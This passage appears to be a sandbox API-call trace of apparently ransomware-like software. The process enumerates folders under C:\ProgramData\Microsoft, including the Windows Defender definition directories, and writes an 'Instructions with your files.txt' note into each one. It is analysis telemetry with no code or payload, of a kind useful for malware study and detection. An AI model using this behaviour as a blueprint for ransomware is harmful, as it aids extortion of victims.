[0123.687] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
[0123.687] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault") returned 34
[0123.687] GetProcessHeap () returned 0x810000
[0123.687] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0123.687] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\*") returned 36
[0123.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0123.688] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\.") returned 36
[0123.688] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.688] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\..") returned 37
[0123.688] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0123.688] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\Instructions with your files.txt") returned 67
[0123.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\vault\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0123.688] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0123.689] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0123.689] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0123.689] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0123.689] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0123.689] CloseHandle (hObject=0x10c) returned 1
[0123.689] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0123.689] GetProcessHeap () returned 0x810000
[0123.689] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0123.690] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
[0123.690] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO") returned 34
[0123.690] GetProcessHeap () returned 0x810000
[0123.690] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0123.690] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\*") returned 36
[0123.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0123.692] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\.") returned 36
[0123.692] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.692] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\..") returned 37
[0123.692] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0123.692] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\Instructions with your files.txt") returned 67
[0123.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\visio\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0123.692] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0123.693] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0123.693] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0123.693] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0123.693] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0123.693] CloseHandle (hObject=0x10c) returned 1
[0123.694] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0123.694] GetProcessHeap () returned 0x810000
[0123.694] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0123.694] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0123.694] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
[0123.694] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender") returned 45
[0123.694] GetProcessHeap () returned 0x810000
[0123.694] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0123.694] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\*") returned 47
[0123.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0123.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\.") returned 47
[0123.717] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\..") returned 48
[0123.717] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1
[0123.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates") returned 64
[0123.717] GetProcessHeap () returned 0x810000
[0123.718] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0123.718] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*") returned 66
[0123.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0123.718] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\.") returned 66
[0123.718] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.718] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\..") returned 67
[0123.718] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
[0123.718] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 71
[0123.718] GetProcessHeap () returned 0x810000
[0123.718] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0123.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*") returned 73
[0123.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0123.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\.") returned 73
[0123.718] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\..") returned 74
[0123.718] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0123.719] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\Instructions with your files.txt") returned 104
[0123.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\backup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0124.074] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0124.151] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0124.163] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0124.169] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0124.282] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0124.285] CloseHandle (hObject=0x114) returned 1
[0124.290] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0124.290] GetProcessHeap () returned 0x810000
[0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0124.290] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
[0124.291] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 72
[0124.291] GetProcessHeap () returned 0x810000
[0124.291] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0124.291] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*") returned 74
[0124.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0124.680] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\.") returned 74
[0124.680] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.680] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\..") returned 75
[0124.680] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0124.680] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\Instructions with your files.txt") returned 105
[0124.680] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0124.680] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0124.681] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0124.681] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0124.681] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
